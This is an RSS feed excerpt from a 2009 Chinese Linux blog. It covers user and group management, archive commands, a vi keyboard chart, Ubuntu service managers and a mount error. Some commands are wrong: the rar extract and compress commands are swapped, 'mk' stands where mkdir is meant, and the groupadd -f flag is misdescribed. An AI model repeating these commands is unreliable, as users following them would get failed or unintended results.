			<content:encoded><![CDATA[<p>下面这段介绍的比较简单也是一些常用的用户管理.如果你还不清楚的话那就接着下面看吧.因为都是英文的.我也就不想去译了.因为不用看提示你也知道这些命令是干吗用的.只是有时候自己给忘记了.所以在这里给自己做一个笔记.下面命令用<span style="color: #339966;">绿色标</span></p>
<p>A comprehensive guide for basic user management of a <a href="http://www.ptubuntu.com/tag/linx" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">linux</a> box:<br />
<span id="more-2255"> </span></p>
<div>
<div>
<p><strong>Create Users</strong></p>
<p>Creating a user is rather simple.   While logged in as root, type:</p>
<pre><code><span style="color: #339966;">useradd username
<span id="more-3272"></span>
</span></code></pre>
<p>Where “username” is the name of the user you want to add.  There are a couple options to this command as well.</p>
<p>-s allows you to specify what shell you want this user to have. For instance, the default is the “bash” shell, but if you wanted a user to have the ZSH shell you’d do the following:</p>
<pre><code><span style="color: #339966;">useradd username -s /bin/zsh</span>
</code></pre>
<p>-d will specify a home directory. Usually in most modern linux systems, this gets specified automatically with useradd as /home/&lt;username&gt;. If you wish to specify someplace different simply do this:</p>
<pre><code><span style="color: #339966;">useradd -d /new/path/of/home username</span>
</code></pre>
<p>-g will specify what group you want this user to have as its default group. This is option as the system will auto-assign a group to the user.</p>
<p>-m – this tells the system that to create the user´s home directory if it does not exist. The files and directories contained in the skeleton directory (which can be defined with the -k option) will be copied to the home directory. By default the “skeleton” directory is /etc/skel. Any file in this directory will be copied to newly created home directories.</p>
<div style="margin: 0px; float: right;"><script type="text/javascript">// < ![CDATA[
google_ad_client = "pub-3756452023781292";
google_alternate_color = "FFFFFF";
google_ad_width = 125;
google_ad_height = 125;
google_ad_format = "125x125_as";
google_ad_type = "text";
google_ad_channel ="0362445509";
google_color_border = "000000";
google_color_link = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_text = "000000";
google_color_url = "0000cc";
google_ui_features = "rc:10";
// ]]&gt;</script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script><script src="http://pagead2.googlesyndication.com/pagead/expansion_embed.js"></script><script src="http://googleads.g.doubleclick.net/pagead/test_domain.js"></script><script type="text/javascript">// < ![CDATA[
google_protectAndRun("ads_core.google_render_ad", google_handleError, google_render_ad);
// ]]&gt;</script><ins style="border: medium none; margin: 0pt; padding: 0pt; display: inline-table; height: 125px; position: relative; visibility: visible; width: 125px;"></ins><ins style="border: medium none; margin: 0pt; padding: 0pt; display: block; height: 125px; position: relative; visibility: visible; width: 125px;"></ins></div>
<p>-k This allows you to assign a skel directory other than the default.</p>
<p>For the rest of the useradd options please see</p>
<pre><code>man useradd

       By default, no home directories are created.
</code></pre>
<p><strong>passwd</strong></p>
<p>Once your user is created you’ll want to set a password for that user. While logged in as root or the user that will be changed, type:</p>
<pre><code>passwd username
</code></pre>
<p>Where “username” is the name of the user whose password you want to change. If “passwd” is typed, the password will be changed for the user, you are logged in as. This command also works to change passwords for already existing users. If you wish to change the password for yourself, just type “passwd” and do not specify a user.</p>
<p><span style="color: #339966;"><strong>/etc/passwd</strong></span></p>
<p>lets say this is a line out of my /etc/passwd file:</p>
<pre><code>tuxtraining:x:1000:100:tuxtraining:/home/tuxtraining:/bin/bash
</code></pre>
<p>Each field is seperated by a “:”, this is what each field represents.</p>
<ol>
<li>Username: This is the name for a user when a user logs in. It should be between 1 and 32 characters in length.</li>
<li>Password: An x character indicates that encrypted password is stored in /etc/shadow file. (See Below)</li>
<li>User ID (UID): Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups.</li>
<li>Group ID (GID): The primary group ID (stored in /etc/group file). It tells the system which group this user belongs to.</li>
<li>User ID Info: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc. This field use by finger command.</li>
<li>Home directory: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /</li>
<li>Command/shell: The absolute path of the default shell (usually /bin/bash).</li>
</ol>
<p><span style="color: #339966;"><strong>/etc/shadow</strong></span></p>
<p>The /etc/passwd file can be readable by other uses on the system. Even though an encrypted password can be used in the /etc/passwd file, it is safer practice to place an x in the password field, telling /etc/password to look in the /etc/shadow file for the encrypted password. In the /etc/shadow file there will be a line for every user and they’re encrypted password. Only a user with root privileges can view this file.</p>
<pre><code>tuxtraining:$srtiJOIUHJRGrst5gubrthj98456yW1iog475srt5strh8R.:14536:0:99999:7:::
</code></pre>
<p>Again, each field is separated by colons “:”</p>
<ol>
<li>User name : It is your login name</li>
<li>Password: It your encrypted password. The password should be minimum 6-8 characters long including special characters/digits</li>
<li>Last password change (lastchanged): Days since Jan 1, 1970 that password was last changed</li>
<li>Minimum: The minimum number of days required between password changes i.e. the number of days left before the user is allowed to change his/her password</li>
<li>Maximum: The maximum number of days the password is valid (after that user is forced to change his/her password)</li>
<li>Warn : The number of days before password is to expire that user is warned that his/her password must be changed</li>
<li>Inactive : The number of days after password expires that account is disabled</li>
<li>Expire : days since Jan 1, 1970 that account is disabled i.e. an absolute date specifying when the login may no longer be used</li>
</ol>
<p>The last 6 fields provides password aging and account lockout features (you need to use chage command to setup password aging). According to man page of shadow – the password field must be filled. The encrypted password consists of 13 to 24 characters from the 64 character alphabet a through z, A through Z, 0 through 9, . and /. Optionally it can start with a “$” character. This means the encrypted password was generated using another (not DES) algorithm. For example if it starts with “$1$” it means the MD5-based algorithm was used.</p>
<p><strong>Modify Users</strong></p>
<p>The usermod command can change just about anything that you can create with useradd. You can change the shell (-s) the UID (-u), the login name (-l , though this will not change permissions set to your old login name), the initial group (-g), supplemenary groups (-G)</p>
<p>The syntax is generall the same too:</p>
<pre><code>usermod &lt;options&gt; &lt;username&gt;
</code></pre>
<p>Comman usages are to lock a user account (-L) This puts a ‘!’ in front of the encrypted password, effectively disabling the password. Another is to unlock it (-U).</p>
<p>See: <em>man usermod</em></p>
<p><strong>Delete users</strong></p>
<p>While logged in as root, type:</p>
<pre><code><span style="color: #339966;">userdel -r username</span>
</code></pre>
<p>Where “username” is the name of the user you want to remove. This will remove the user’s home directory. You can delete the user without the “-r” option and delete the user’s home directory manually. If the group the user was in, is no longer needed, you may delete it by editing the “/etc/group” file.</p>
<div>
<div>
<p><strong>Create a Group</strong></p>
<pre><code><span style="color: #339966;"> groupadd [-g gid [-o]] [-r] [-f] group</span>
</code></pre>
<p>The groupadd command creates a new group account using the values specified on the command line and the default values from the system. The new group will be entered into the system files as needed. None of these options (below) are necessary. You can add a group simply by:</p>
<pre><code><span style="color: #339966;">groupadd group</span>
</code></pre>
<p>(with “group” being the name of the group)</p>
<p>That being said options which apply to the groupadd command are</p>
<p>-g gid The numerical value of the group’s ID. This value must be unique, unless the -o option is used. The value must be non-negative. The default is to use the smallest ID value greater than 500 and greater than every other group. Values between 0 and 499 are typically reserved for system accounts.</p>
<p>-r This flag instructs groupadd to add a system account. The first available gid lower than 499 will be automatically selected unless the -g option is also given on the command line. This is an option added by Red Hat.</p>
<p>-f This is the force flag. This will cause groupadd to exit with an error when the group about to be added already exists on the system. If that is the case, the group won’t be altered (or added again). This option also modifies the way -g option works. When you request a gid that it is not unique and you don’t specify the -o option too, the group creation will fall back to the standard behavior (adding a group as if neither -g or -o options were specified). This is an option also added by Red Hat.</p>
<p><strong>Modify a Group</strong></p>
<pre><code>groupmod [-g gid [-o]] [-n group_name ] group
</code></pre>
<p>The groupmod command modifies the system account files to reflect the changes that are specified on the command line. The options which apply to the groupmod command are</p>
<p>-g gid The numerical value of the group’s ID. This value must be unique, unless the -o option is used. The value must be non-negative. Values between 0 and 99 are typically reserved for system groups. Any files which the old group ID is the file group ID must have the file group ID changed manually.</p>
<p>-n group<em>name     The name of the group will be changed from group to group</em>name.</p>
<p><strong>Delete a Group</strong></p>
<pre><code><span style="color: #339966;">groupdel group</span>
</code></pre>
<p>The groupdel command modifies the system account files, deleting all entries that refer to group. The named group must exist.</p>
<p>You must manually check all filesystems to insure that no files remain with the named group as the file group ID. You can do this easily with the find command.</p>
<pre><code><span style="color: #339966;">find /var/tmp -gid 1000</span>
</code></pre>
<p><span style="color: #339966;"><strong>/etc/group</strong></span></p>
<p>/etc/group is a file that defines the groups to which users belong. In Linux multiple users can be categorized into groups. Linux file system permissions are organized into three classes, user, group, and others. The use of groups allows additional abilities to be delegated in an organized fashion, such as access to disks, printers, and other peripherals.</p>
<p>It stores group information or defines the user groups i.e. it defines the groups to which users belong. There is one entry per line, and each line has the format (all fields are separated by a colon (:)</p>
<pre><code><span style="color: #339966;">video:x:100:tuxtraining,bob,mary</span>
</code></pre>
<p>Like previous files talked about in Part 1, the fields are separated by colons.   This is what each field represents:</p>
<ol>
<li>group_name: It is the name of group. If you run ls -l command, you will see this name printed in the group field.</li>
<li>Password: Generally password is not used, hence it is empty/blank. It can store encrypted password. This is useful to implement privileged groups.</li>
<li>Group ID (GID): Each user must be assigned a group ID. You can see this number in your /etc/passwd file.</li>
<li>Group List: It is a list of user names of users who are members of the group. The user names, must be separated by commas.</li>
</ol>
<p>Users on Linux systems are assigned to one or more groups for following reasons:</p>
<ul>
<li>To share files or other resource with a small number of users</li>
<li>Ease of user management</li>
<li>Ease of user monitoring</li>
<li>Group membership gives you or your user special access to files and directories or devices which are permitted to that group</li>
</ul>
<p><span style="color: #339966;"><strong>/etc/gshadow</strong></span></p>
<p>Like /etc/shadow, /etc/gshadow contains secure group account information only readable by the root account such as group passwords.</p>
<p><strong>finger</strong></p>
<p>The finger command reads the /etc/password file and displays information of a user. It is executed like below</p>
<p>finger username</p>
<p>It will tell you a user’s name (if given in comments), home directory, default shell, and if they’re on the system and if so, for how long.</p>
<p><strong>chfn</strong></p>
<p>The chfn command changes finger information and extends what is provide in /etc/passwd. You use it like follows:</p>
<p>chfn -option username</p>
<p>The “-options” for chfn are as follows:</p>
<p>-f Assigns a full name to the user</p>
<p>-o Allows the assignment of a location of a office</p>
<p>-p Assigns an office phone number</p>
<p>-h Assigns a home phone number</p></div>
</div>
</div>
</div>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2009%2F11%2F3272.html&amp;title=Linux%20%E5%9F%BA%E6%9C%AC%E7%94%A8%E6%88%B7%E7%AE%A1%E7%90%86" id="wpa2a_10"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2009/11/3272.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>linux把文件压缩成.tar.gz的命令</title>
		<link>http://www.ptubuntu.com/2009/10/3147.html</link>
		<comments>http://www.ptubuntu.com/2009/10/3147.html#comments</comments>
		<pubDate>Mon, 12 Oct 2009 09:32:14 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[linux命令]]></category>
		<category><![CDATA[tar]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/2009/10/3147.html</guid>
		<description><![CDATA[01-.tar格式 解包：[＊＊＊＊＊＊＊]$ tar xvf FileName.tar 打包：[＊＊＊＊＊＊＊]$ tar cvf FileName.tar DirName（注：tar是打包，不是压缩！） 02-.gz格式 解压1：[＊＊＊＊＊＊＊]$ gunzip FileName.gz 解压2：[＊＊＊＊＊＊＊]$ gzip -d FileName.gz 压 缩：[＊＊＊＊＊＊＊]$ gzip FileName 03-.tar.gz格式 解压：[＊＊＊＊＊＊＊]$ tar zxvf FileName.tar.gz 压缩：[＊＊＊＊＊＊＊]$ tar zcvf FileName.tar.gz DirName 04-.bz2格式 解压1：[＊＊＊＊＊＊＊]$ bzip2 -d FileName.bz2 解压2：[＊＊＊＊＊＊＊]$ bunzip2 FileName.bz2 压 缩： [＊＊＊＊＊＊＊]$ bzip2 -z FileName 05-.tar.bz2格式 解压：[＊＊＊＊＊＊＊]$ tar jxvf FileName.tar.bz2 压缩：[＊＊＊＊＊＊＊]$ tar jcvf FileName.tar.bz2 [...]]]></description>
			<content:encoded><![CDATA[<p>01-.tar格式<br />
解包：[＊＊＊＊＊＊＊]$ <a href="http://www.ptubuntu.com/tag/tar" class="st_tag internal_tag" rel="tag" title="标签 tar 下的日志">tar</a> xvf FileName.<a href="http://www.ptubuntu.com/tag/tar" class="st_tag internal_tag" rel="tag" title="标签 tar 下的日志">tar</a><br />
打包：[＊＊＊＊＊＊＊]$ tar cvf FileName.tar DirName（注：tar是打包，不是压缩！）<br />
<span id="more-3147"></span><br />
02-.gz格式<br />
解压1：[＊＊＊＊＊＊＊]$ gunzip FileName.gz<br />
解压2：[＊＊＊＊＊＊＊]$ gzip -d FileName.gz<br />
压 缩：[＊＊＊＊＊＊＊]$ gzip FileName</p>
<p>03-.tar.gz格式<br />
解压：[＊＊＊＊＊＊＊]$ tar zxvf FileName.tar.gz<br />
压缩：[＊＊＊＊＊＊＊]$ tar zcvf FileName.tar.gz DirName</p>
<p>04-.bz2格式<br />
解压1：[＊＊＊＊＊＊＊]$ bzip2 -d FileName.bz2<br />
解压2：[＊＊＊＊＊＊＊]$ bunzip2 FileName.bz2<br />
压 缩： [＊＊＊＊＊＊＊]$ bzip2 -z FileName</p>
<p>05-.tar.bz2格式<br />
解压：[＊＊＊＊＊＊＊]$ tar jxvf FileName.tar.bz2<br />
压缩：[＊＊＊＊＊＊＊]$ tar jcvf FileName.tar.bz2 DirName</p>
<p>06-.bz格式<br />
解压1：[＊＊＊＊＊＊＊]$ bzip2 -d FileName.bz<br />
解压2：[＊＊＊＊＊＊＊]$ bunzip2 FileName.bz</p>
<p>07-.tar.bz格式<br />
解压：[＊＊＊＊＊＊＊]$ tar jxvf FileName.tar.bz</p>
<p>08-.Z格式<br />
解压：[＊＊＊＊＊＊＊]$ uncompress FileName.Z<br />
压缩：[＊＊＊＊＊＊＊]$ compress FileName</p>
<p>09-.tar.Z格式<br />
解压：[＊＊＊＊＊＊＊]$ tar Zxvf FileName.tar.Z<br />
压缩：[＊＊＊＊＊＊＊]$ tar Zcvf FileName.tar.Z DirName</p>
<p>10-.tgz格式<br />
解压：[＊＊＊＊＊＊＊]$ tar zxvf FileName.tgz</p>
<p>11-.tar.tgz格式<br />
解压：[＊＊＊＊＊＊＊]$ tar zxvf FileName.tar.tgz<br />
压缩：[＊＊＊＊＊＊＊]$ tar zcvf FileName.tar.tgz FileName</p>
<p>12-.zip格式<br />
解压：[＊＊＊＊＊＊＊]$ unzip FileName.zip<br />
压缩：[＊＊＊＊＊＊＊]$ zip FileName.zip DirName</p>
<p>13-.lha格式<br />
解压：[＊＊＊＊＊＊＊]$ lha -e FileName.lha<br />
压缩：[＊＊＊＊＊＊＊]$ lha -a FileName.lha FileName</p>
<p>14-.rar格式<br />
解压：[＊＊＊＊＊＊＊]$ rar a FileName.rar<br />
压缩：[＊＊＊＊＊＊＊]$ rar e FileName.rar    <br />
rar请到：<a href="http://www.rarsoft.com/download.htm" target="_blank">http://www.rarsoft.com/download.htm</a> 下载！<br />
解压后请将rar_static拷贝到/usr/bin目录（其他由$PATH环境变量<br />
指定的目录也行）：[＊＊＊＊＊＊＊]$ cp rar_static /usr/bin/rar<br />
来自：<a href="http://hi.baidu.com/ucdcmqj/blog/item/c48fab59b2c1322c2934f0fd.html" target="_blank">http://hi.baidu.com/ucdcmqj/blog/item/c48fab59b2c1322c2934f0fd.html</a></p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2009%2F10%2F3147.html&amp;title=linux%E6%8A%8A%E6%96%87%E4%BB%B6%E5%8E%8B%E7%BC%A9%E6%88%90.tar.gz%E7%9A%84%E5%91%BD%E4%BB%A4" id="wpa2a_12"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2009/10/3147.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>学习Linux必备vi/vim键盘图</title>
		<link>http://www.ptubuntu.com/2009/10/3122.html</link>
		<comments>http://www.ptubuntu.com/2009/10/3122.html#comments</comments>
		<pubDate>Tue, 06 Oct 2009 04:47:56 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[新闻类]]></category>
		<category><![CDATA[linux命令]]></category>
		<category><![CDATA[vi]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=3122</guid>
		<description><![CDATA[vi/vim键盘图。vi最先用于Unix系统，它是一个文本编辑器，几乎所有类Unix的机器都提供，学习Linux就必需要学习vi/vim，熟悉这个键盘图，能够帮助你学习vi/vim。 中文版： 来自:http://www.linuxboss.cn]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ptubuntu.com/tag/vi" class="st_tag internal_tag" rel="tag" title="标签 vi 下的日志">vi</a>/vim键盘图。vi最先用于Unix系统，它是一个文本编辑器，几乎所有类Unix的机器都提供，学习Linux就必需要学习vi/vim，熟悉这个键盘图，能够帮助你学习vi/vim。</p>
<p><img onclick="window.open('http://www.linuxboss.cn/uploads/allimg/090119/14052R007-0.gif');" onmouseover="if(this.resized) this.style.cursor='hand';" src="http://www.linuxboss.cn/uploads/allimg/090119/14052R007-0.gif" border="0" alt="Click here to open new window" width="400" /><br />
中文版：</p>
<p><img onclick="window.open('http://www.linuxboss.cn/uploads/090119/1_140356_1.png');" onmouseover="if(this.resized) this.style.cursor='hand';" src="http://www.linuxboss.cn/uploads/090119/1_140356_1.png" border="0" alt="Click here to open new window" width="400" /></p>
<p>来自:http://www.linuxboss.cn</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2009%2F10%2F3122.html&amp;title=%E5%AD%A6%E4%B9%A0Linux%E5%BF%85%E5%A4%87vi%2Fvim%E9%94%AE%E7%9B%98%E5%9B%BE" id="wpa2a_14"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2009/10/3122.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>管理开机自动运行程序&amp;服务管理器</title>
		<link>http://www.ptubuntu.com/2009/03/1871.html</link>
		<comments>http://www.ptubuntu.com/2009/03/1871.html#comments</comments>
		<pubDate>Sat, 28 Mar 2009 06:39:27 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux命令]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=1871</guid>
		<description><![CDATA[这安装rcconf 程序. root@ptubuntu:# apt-get install rcconf 正在读取软件包列表&#8230; 完成 正在分析软件包的依赖关系树 正在读取状态信息&#8230; 完成 下列【新】软件包将被安装：   rcconf 共升级了 0 个软件包，新安装了 1 个软件包，要卸载 0 个软件包，有 516 个软件未被升级。 需要下载 19.8kB 的软件包。 解压缩后会消耗掉 119kB 的额外空间。 获取：1 http://mirror.lupaworld.com intrepid/universe rcconf 1.21 [19.8kB] 下载 19.8kB，耗时 1s (14.4kB/s) 选中了曾被取消选择的软件包 rcconf。 (正在读取数据库 &#8230; 系统当前总共安装有 101019 个文件和目录。) 正在解压缩 rcconf (从 &#8230;/archives/rcconf_1.21_all.deb) &#8230; 正在处理用于 man-db 的触发器&#8230; 正在设置 [...]]]></description>
			<content:encoded><![CDATA[<p>这安装rcconf 程序.</p>
<p><a href="mailto:root@ptubuntu">root@ptubuntu</a>:# apt-get install rcconf<br />
正在读取软件包列表&#8230; 完成<br />
正在分析软件包的依赖关系树<br />
正在读取状态信息&#8230; 完成<br />
下列【新】软件包将被安装：<br />
  rcconf<br />
共升级了 0 个软件包，新安装了 1 个软件包，要卸载 0 个软件包，有 516 个软件未被升级。<br />
需要下载 19.8kB 的软件包。<br />
解压缩后会消耗掉 119kB 的额外空间。<br />
获取：1 <a href="http://mirror.lupaworld.com">http://mirror.lupaworld.com</a> intrepid/universe rcconf 1.21 [19.8kB]<br />
下载 19.8kB，耗时 1s (14.4kB/s)<br />
选中了曾被取消选择的软件包 rcconf。<br />
(正在读取数据库 &#8230; 系统当前总共安装有 101019 个文件和目录。)<br />
正在解压缩 rcconf (从 &#8230;/archives/rcconf_1.21_all.deb) &#8230;<br />
正在处理用于 man-db 的触发器&#8230;<br />
正在设置 rcconf (1.21) &#8230;</p>
<p><img class="alignnone size-full wp-image-1872" title="rcconf" src="http://www.ptubuntu.com/wp-content/uploads/2009/03/rcconf.jpg" alt="rcconf" width="459" height="309" /></p>
<p> </p>
<p>一直想在Ubuntu下找一款功能比较全面的服务控制软件，今天就抽空试用了一些工具。</p>
<p>试用的结果如下，希望给大家做一个参考。</p>
<p> </p>
<p><strong>“系统”-&gt;“系统管理” -&gt;“服务”</strong></p>
<p>没错，这就是Ubuntu自带的系统服务管理软件。评测时当然也不能少掉它。它的表现究竟如何呢？总的来说，比较让人失望。</p>
<p>它能控制我的系统的23个服务（当然都是常用的），但是事实上我的系统的服务另包括启动脚本一共有93项，其中运行在 第二级别(runlevel-2)的服务共有35个。这35个中，包括Tor之类的不能通过“服务”来控制。</p>
<p>因而它并未能满足全面的控制需要。</p>
<p><img src="http://linuxdesktop.cn/wp-content/uploads/2007/09/services-of-ubuntu.png" alt="" /></p>
<p><strong>rcconf </strong></p>
<p>源里的一款基于文本的服务管理软件，总的来说，虽然通过他可以操控如Tor 之类的服务，但是一些“服务”能显示的服务，他反而没有。同样只能控制21个服务。</p>
<p><img src="http://linuxdesktop.cn/wp-content/uploads/2007/09/rcconf.png" alt="" /></p>
<p><strong>bum(bootup-manager) </strong></p>
<p>bum似乎是一款基于rcconf的图形介面的服务控制软件。因为它能控制的服务与rcconf几乎一样，不过好在它提供更高级的模式，从而除服务以外，它还能对“启动脚本”进行管理。</p>
<p><img src="http://linuxdesktop.cn/wp-content/uploads/2007/09/bootup-manager.png" alt="" /></p>
<p><strong>sysv-rc-conf</strong></p>
<p>可能有人对这款工具已经很熟悉了吧？确实是一款非常强悍的Debian类系统的服务控制软件，在我的电脑上发现了69个服务（daemon），包括如dbus这种底层的都能控制。</p>
<p>不足之处是全文字的操作界面，而且非常少的帮助、提示信息让人无从下手，另外默认就提供2、3、4、5四个运行级别，让人不知道哪个才是Ubuntu多用户模式的运行级别。</p>
<p><img src="http://linuxdesktop.cn/wp-content/uploads/2007/09/sysv-rc-conf.png" alt="" /></p>
<p>Ubuntu下还没有一款十全十美的服务控制软件，这需要我们更加努力了！</p>
<p>真想根据sysv-rc-conf做个GUI界面出来！</p>
<div id="copied">
<p>转载请注明：转自<a title="Linux桌面中文网" href="http://linuxdesktop.cn/"><span style="color: #78a515;">Linux桌面中文网</span></a> &#8211; <a rel="bookmark" href="http://linuxdesktop.cn/2007/09/30/ubuntu-services-software.html"><span style="color: #78a515;">Ubuntu下服务控制软件大比拼!</span></a></div>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.ptubuntu.com%2F2009%2F03%2F1871.html&amp;title=%E7%AE%A1%E7%90%86%E5%BC%80%E6%9C%BA%E8%87%AA%E5%8A%A8%E8%BF%90%E8%A1%8C%E7%A8%8B%E5%BA%8F%26%23038%3B%E6%9C%8D%E5%8A%A1%E7%AE%A1%E7%90%86%E5%99%A8" id="wpa2a_16"><img src="http://www.ptubuntu.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ptubuntu.com/2009/03/1871.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>mount: error while guessing filesystem type</title>
		<link>http://www.ptubuntu.com/2009/01/1479.html</link>
		<comments>http://www.ptubuntu.com/2009/01/1479.html#comments</comments>
		<pubDate>Wed, 21 Jan 2009 08:11:14 +0000</pubDate>
		<dc:creator>ptubuntu</dc:creator>
				<category><![CDATA[Linux Server]]></category>
		<category><![CDATA[技术类]]></category>
		<category><![CDATA[linux命令]]></category>

		<guid isPermaLink="false">http://www.ptubuntu.com/?p=1479</guid>
		<description><![CDATA[之前公司使用一台机器托管在机房,想想这台机器也用了有一定的年头了少算也有四年了吧.现在主机好像给挂了.合同也到了只好把它下架了.上面的要求把这两台硬盘挂在一台面器上吧.还好之前我安装了一台linux这下子可以再挂两个.接通电源正常启动.接下来的任务就是要读取数据了.那当然就得用mount. [root@ptubuntu mnt]# fdisk -l Disk /dev/hda: 20.4 GB, 20491075584 bytes 255 heads, 63 sectors/track, 2491 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes    Device Boot      Start         End      Blocks   Id  System /dev/hda1   *           1          13      104391   83  Linux /dev/hda2              14        2491    19904535   8e  Linux LVM Disk /dev/hdc: 80.0 GB, 80026361856 bytes [...]]]></description>
			<content:encoded><![CDATA[<p>之前公司使用一台机器托管在机房,想想这台机器也用了有一定的年头了少算也有四年了吧.现在主机好像给挂了.合同也到了只好把它下架了.上面的要求把这两台硬盘挂在一台面器上吧.还好之前我安装了一台linux这下子可以再挂两个.接通电源正常启动.接下来的任务就是要读取数据了.那当然就得用mount.</p>
<p>[root@ptubuntu mnt]# fdisk -l</p>
<p>Disk /dev/hda: 20.4 GB, 20491075584 bytes<br />
255 heads, 63 sectors/track, 2491 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes</p>
<p>   Device Boot      Start         End      Blocks   Id  System<br />
/dev/hda1   *           1          13      104391   83  <a href="http://www.ptubuntu.com/tag/linx" class="st_tag internal_tag" rel="tag" title="标签 Linux 下的日志">Linux</a><br />
/dev/hda2              14        2491    19904535   8e  Linux LVM</p>
<p>Disk /dev/hdc: 80.0 GB, 80026361856 bytes<br />
255 heads, 63 sectors/track, 9729 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes</p>
<p>   Device Boot      Start         End      Blocks   Id  System<br />
/dev/hdc1   *           1          13      104391   83  Linux<br />
/dev/hdc2              14          78      522112+  82  Linux swap<br />
/dev/hdc3              79        8816    70187985   83  Linux<br />
/dev/hdc4            8817        9729     7333672+   f  W95 Ext&#8217;d (LBA)<br />
/dev/hdc5            8817        8946     1044193+  83  Linux<br />
/dev/hdc6            8947        9468     4192933+  83  Linux<br />
/dev/hdc7            9469        9729     2096451   83  Linux</p>
<p>Disk /dev/hdd: 80.0 GB, 80026361856 bytes<br />
255 heads, 63 sectors/track, 9729 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes</p>
<p>   Device Boot      Start         End      Blocks   Id  System<br />
/dev/hdd1   *           1          13      104391   83  Linux<br />
/dev/hdd2              14         535     4192965   83  Linux<br />
/dev/hdd3             536         796     2096482+  83  Linux<br />
/dev/hdd4             797        9729    71754322+   5  Extended<br />
/dev/hdd5             797         927     1052226   83  Linux<br />
/dev/hdd6             928         992      522081   82  Linux swap<br />
/dev/hdd7             993        9729    70179921   83  Linux<br />
查出来有两个更盘呀&#8230;&#8230;现在就指定某一个硬盘的分区.</p>
<p>挂载出错:</p>
<blockquote><p>[root@ptubuntu hdc]# mount /dev/hdc4 /mnt/hdc/<br />
mount: error while guessing filesystem type<br />
mount: you must specify the filesystem type<br />
<span style="color: #ff0000;">挂载：错误而猜测文件类型<br />
安装：您必须指定文件类型</span></p></blockquote>
<p>解决:<span id="more-1479"></span></p>
<blockquote><p>[root@ptubuntu mnt]# mount -t ext2 /dev/hdc3 /mnt/hdc/hdc4/</p></blockquote>
<p>这样呀.那看来要先了解Mount的命令了.参考下面这些资料你就知道要什么处理了.<br />
、挂载点必须是一个目录。</p>
<p>2、一个分区挂载在一个已存在的目录上，这个目录可以不为空，但挂载后这个目录下以前的内容将不可用。<br />
对于其他操作系统建立的文件系统的挂载也是这样。但是需要理解的是：光盘、软盘、其他操作系统使用的文件系统的格式与linux使用的文件系统格式是不一样的。光盘是ISO9660；软盘是fat16或ext2；windows NT是fat16、NTFS；windows98是fat16、fat32；windows2000和windowsXP是fat16、fat32、NTFS。挂载前要了解linux是否支持所要挂载的文件系统格式。</p>
<p>挂载时使用mount命令：<br />
格式：mount [-参数] [设备名称] [挂载点]</p>
<p>其中常用的参数有<br />
-t&lt;文件系统类型&gt; 指定设备的文件系统类型，常见的有：<br />
minix linux最早使用的文件系统<br />
ext2 linux目前常用的文件系统<br />
msdos MS-DOS的fat，就是fat16<br />
vfat windows98常用的fat32<br />
nfs 网络文件系统<br />
iso9660 CD-ROM光盘标准文件系统<br />
ntfs windows NT 2000的文件系统<br />
hpfs OS/2文件系统<br />
auto 自动检测文件系统<br />
-o&lt;选项&gt; 指定挂载文件系统时的选项。有些也可用在/etc/fstab中。常用的有<br />
codepage=XXX 代码页<br />
iocharset=XXX 字符集<br />
ro 以只读方式挂载<br />
rw 以读写方式挂载<br />
nouser 使一般用户无法挂载<br />
user 可以让一般用户挂载设备</p>
<p>提醒一下，mount命令没有建立挂载点的功能，因此你应该确保执行mount命令时，挂载点已经存在。（不懂？说白了点就是你要把文件系统挂载到哪，首先要先建上个目录。这样OK？）</p>
<p>例子：windows98装在hda1分区，同时计算机上还有软盘和光盘需要挂载。<br />
# mk /mnt/winc<br />
# mk /mnt/floppy<br />
# mk /mnt/cdrom<br />
# mount -t vfat /dev/hda1 /mnt/winc<br />
